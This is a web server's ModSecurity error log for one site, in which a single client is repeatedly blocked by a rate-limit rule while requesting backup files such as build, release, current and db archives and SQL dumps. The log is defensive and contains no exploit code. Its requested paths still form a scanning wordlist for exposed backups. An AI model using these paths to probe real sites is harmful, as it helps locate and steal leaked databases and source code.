[Fri May 15 09:55:59.981726 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:58958] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.zip"] [unique_id "agZ9L972N9CbeiqcqgPS4QAAAVU"]
[Fri May 15 09:56:00.730152 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:58960] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.tar.gz"] [unique_id "agZ9MN72N9CbeiqcqgPS4gAAAU0"]
[Fri May 15 09:56:01.499539 2026] [:error] [pid 1189:tid 1246] [client 34.97.8.90:58974] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.tgz"] [unique_id "agZ9MQe36qIGegR4kcmAeQAAAFU"]
[Fri May 15 09:56:02.260199 2026] [:error] [pid 1189:tid 1226] [client 34.97.8.90:58978] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.tar"] [unique_id "agZ9Mge36qIGegR4kcmAegAAAEE"]
[Fri May 15 09:56:03.009428 2026] [:error] [pid 1188:tid 1199] [client 34.97.8.90:58984] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.tar.bz2"] [unique_id "agZ9M9Y68iW8yuNkNzPwUgAAAAI"]
[Fri May 15 09:56:03.768704 2026] [:error] [pid 1189:tid 1234] [client 34.97.8.90:58994] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.tar.xz"] [unique_id "agZ9Mwe36qIGegR4kcmAewAAAEk"]
[Fri May 15 09:56:04.549161 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:58996] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.7z"] [unique_id "agZ9NAe36qIGegR4kcmAfAAAAFg"]
[Fri May 15 09:56:05.281841 2026] [:error] [pid 50531:tid 50548] [client 34.97.8.90:40326] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.rar"] [unique_id "agZ9NR3WbFwE6voqGzrjqAAAAQ8"]
[Fri May 15 09:56:06.025875 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:40336] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.gz"] [unique_id "agZ9Nt72N9CbeiqcqgPS5QAAAUY"]
[Fri May 15 09:56:06.793011 2026] [:error] [pid 1189:tid 1244] [client 34.97.8.90:40344] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.bz2"] [unique_id "agZ9Nge36qIGegR4kcmAfgAAAFM"]
[Fri May 15 09:56:07.547145 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:40352] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.zst"] [unique_id "agZ9N972N9CbeiqcqgPS5gAAAUw"]
[Fri May 15 09:56:08.313673 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:40358] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.sql.gz"] [unique_id "agZ9ON72N9CbeiqcqgPS5wAAAVI"]
[Fri May 15 09:56:09.091614 2026] [:error] [pid 51234:tid 51250] [client 34.97.8.90:40360] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.sql.bz2"] [unique_id "agZ9Od72N9CbeiqcqgPS6AAAAU4"]
[Fri May 15 09:56:09.965066 2026] [:error] [pid 1295:tid 1317] [client 34.97.8.90:40368] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/build.sql"] [unique_id "agZ9OdmMhqLvs0GYixkbNAAAANM"]
[Fri May 15 09:56:10.729973 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:40382] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.zip"] [unique_id "agZ9Oh3WbFwE6voqGzrjqQAAARM"]
[Fri May 15 09:56:11.489508 2026] [:error] [pid 1295:tid 1304] [client 34.97.8.90:40390] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.tar.gz"] [unique_id "agZ9O9mMhqLvs0GYixkbNQAAAMY"]
[Fri May 15 09:56:12.346671 2026] [:error] [pid 51234:tid 51256] [client 34.97.8.90:40398] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.tgz"] [unique_id "agZ9PN72N9CbeiqcqgPS6gAAAVQ"]
[Fri May 15 09:56:13.143484 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:40408] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.tar"] [unique_id "agZ9Pd72N9CbeiqcqgPS6wAAAUc"]
[Fri May 15 09:56:14.007451 2026] [:error] [pid 1190:tid 1276] [client 34.97.8.90:40414] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.tar.bz2"] [unique_id "agZ9PtqiXrD7hne4gFbI1QAAAJg"]
[Fri May 15 09:56:14.847857 2026] [:error] [pid 1188:tid 1201] [client 34.97.8.90:38564] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.tar.xz"] [unique_id "agZ9PtY68iW8yuNkNzPwVQAAAAQ"]
[Fri May 15 09:56:15.693315 2026] [:error] [pid 1188:tid 1203] [client 34.97.8.90:38580] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.7z"] [unique_id "agZ9P9Y68iW8yuNkNzPwVgAAAAY"]
[Fri May 15 09:56:16.568743 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:38594] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.rar"] [unique_id "agZ9QN72N9CbeiqcqgPS7QAAAVg"]
[Fri May 15 09:56:17.345807 2026] [:error] [pid 51234:tid 51244] [client 34.97.8.90:38608] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.gz"] [unique_id "agZ9Qd72N9CbeiqcqgPS7gAAAUg"]
[Fri May 15 09:56:18.027869 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:38620] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.bz2"] [unique_id "agZ9Qt72N9CbeiqcqgPS8AAAAUQ"]
[Fri May 15 09:56:18.775055 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:38624] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.zst"] [unique_id "agZ9Qh3WbFwE6voqGzrjrAAAARU"]
[Fri May 15 09:56:19.481117 2026] [:error] [pid 1295:tid 1313] [client 34.97.8.90:38634] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.sql.gz"] [unique_id "agZ9Q9mMhqLvs0GYixkbPAAAAM8"]
[Fri May 15 09:56:20.182378 2026] [:error] [pid 1189:tid 1248] [client 34.97.8.90:38648] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.sql.bz2"] [unique_id "agZ9RAe36qIGegR4kcmAggAAAFc"]
[Fri May 15 09:56:20.904211 2026] [:error] [pid 1189:tid 1230] [client 34.97.8.90:38656] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/release.sql"] [unique_id "agZ9RAe36qIGegR4kcmAhwAAAEU"]
[Fri May 15 09:56:21.610472 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:38664] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/releases.zip"] [unique_id "agZ9Rd72N9CbeiqcqgPS8QAAAVU"]
[Fri May 15 09:56:22.325887 2026] [:error] [pid 1188:tid 1217] [client 34.97.8.90:38680] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/releases.tar.gz"] [unique_id "agZ9RtY68iW8yuNkNzPwWQAAABQ"]
[Fri May 15 09:56:31.416861 2026] [:error] [pid 1189:tid 1243] [client 34.97.8.90:43932] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/releases.sql"] [unique_id "agZ9Twe36qIGegR4kcmAmwAAAFI"]
[Fri May 15 09:56:32.188499 2026] [:error] [pid 1295:tid 1304] [client 34.97.8.90:43940] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.zip"] [unique_id "agZ9UNmMhqLvs0GYixkbVgAAAMY"]
[Fri May 15 09:56:32.926245 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:43954] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.tar.gz"] [unique_id "agZ9UAe36qIGegR4kcmAnQAAAEo"]
[Fri May 15 09:56:33.703940 2026] [:error] [pid 1189:tid 1246] [client 34.97.8.90:43968] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.tgz"] [unique_id "agZ9UQe36qIGegR4kcmAnwAAAFU"]
[Fri May 15 09:56:34.400972 2026] [:error] [pid 50531:tid 50544] [client 34.97.8.90:43974] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.tar"] [unique_id "agZ9Uh3WbFwE6voqGzrjswAAAQs"]
[Fri May 15 09:56:35.124157 2026] [:error] [pid 1189:tid 1239] [client 34.97.8.90:55842] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.tar.bz2"] [unique_id "agZ9Uwe36qIGegR4kcmAoQAAAE4"]
[Fri May 15 09:56:35.837002 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:55856] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.tar.xz"] [unique_id "agZ9Ux3WbFwE6voqGzrjtAAAARE"]
[Fri May 15 09:56:36.564297 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:55858] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.7z"] [unique_id "agZ9VN72N9CbeiqcqgPTDgAAAUc"]
[Fri May 15 09:56:37.296286 2026] [:error] [pid 1190:tid 1258] [client 34.97.8.90:55866] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.rar"] [unique_id "agZ9VdqiXrD7hne4gFbI5wAAAIY"]
[Fri May 15 09:56:38.006542 2026] [:error] [pid 1188:tid 1201] [client 34.97.8.90:55880] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.gz"] [unique_id "agZ9VtY68iW8yuNkNzPwYQAAAAQ"]
[Fri May 15 09:56:38.741832 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:55888] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.bz2"] [unique_id "agZ9Vh3WbFwE6voqGzrjtwAAARM"]
[Fri May 15 09:56:39.481033 2026] [:error] [pid 1188:tid 1211] [client 34.97.8.90:55894] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.zst"] [unique_id "agZ9V9Y68iW8yuNkNzPwYgAAAA4"]
[Fri May 15 09:56:40.218917 2026] [:error] [pid 50531:tid 50549] [client 34.97.8.90:55904] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.sql.gz"] [unique_id "agZ9WB3WbFwE6voqGzrjuQAAARA"]
[Fri May 15 09:56:40.934078 2026] [:error] [pid 1190:tid 1257] [client 34.97.8.90:55906] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.sql.bz2"] [unique_id "agZ9WNqiXrD7hne4gFbI7QAAAIU"]
[Fri May 15 09:56:41.720161 2026] [:error] [pid 1295:tid 1301] [client 34.97.8.90:55910] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/current.sql"] [unique_id "agZ9WdmMhqLvs0GYixkbXwAAAMM"]
[Fri May 15 09:56:42.446114 2026] [:error] [pid 1189:tid 1225] [client 34.97.8.90:55922] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.zip"] [unique_id "agZ9Wge36qIGegR4kcmAowAAAEA"]
[Fri May 15 09:56:43.169601 2026] [:error] [pid 50531:tid 50556] [client 34.97.8.90:55938] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.tar.gz"] [unique_id "agZ9Wx3WbFwE6voqGzrjvAAAARc"]
[Fri May 15 09:56:43.934621 2026] [:error] [pid 1295:tid 1321] [client 34.97.8.90:55946] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.tgz"] [unique_id "agZ9W9mMhqLvs0GYixkbYwAAANc"]
[Fri May 15 09:56:44.691612 2026] [:error] [pid 1295:tid 1314] [client 34.97.8.90:55962] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.tar"] [unique_id "agZ9XNmMhqLvs0GYixkbZgAAANA"]
[Fri May 15 09:56:45.425052 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:53028] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.tar.bz2"] [unique_id "agZ9XdmMhqLvs0GYixkbaAAAANQ"]
[Fri May 15 09:56:46.186126 2026] [:error] [pid 1295:tid 1311] [client 34.97.8.90:53040] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.tar.xz"] [unique_id "agZ9XtmMhqLvs0GYixkbagAAAM0"]
[Fri May 15 09:56:46.957593 2026] [:error] [pid 1190:tid 1273] [client 34.97.8.90:53048] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.7z"] [unique_id "agZ9XtqiXrD7hne4gFbI8gAAAJU"]
[Fri May 15 09:56:47.750120 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:53062] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.rar"] [unique_id "agZ9Xwe36qIGegR4kcmApAAAAEM"]
[Fri May 15 09:56:48.453555 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:53070] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.gz"] [unique_id "agZ9YAe36qIGegR4kcmApQAAAFY"]
[Fri May 15 09:56:49.148770 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:53080] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.bz2"] [unique_id "agZ9YQe36qIGegR4kcmApgAAAE8"]
[Fri May 15 09:56:49.939620 2026] [:error] [pid 1188:tid 1209] [client 34.97.8.90:53096] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/db.zst"] [unique_id "agZ9YdY68iW8yuNkNzPwagAAAAw"]
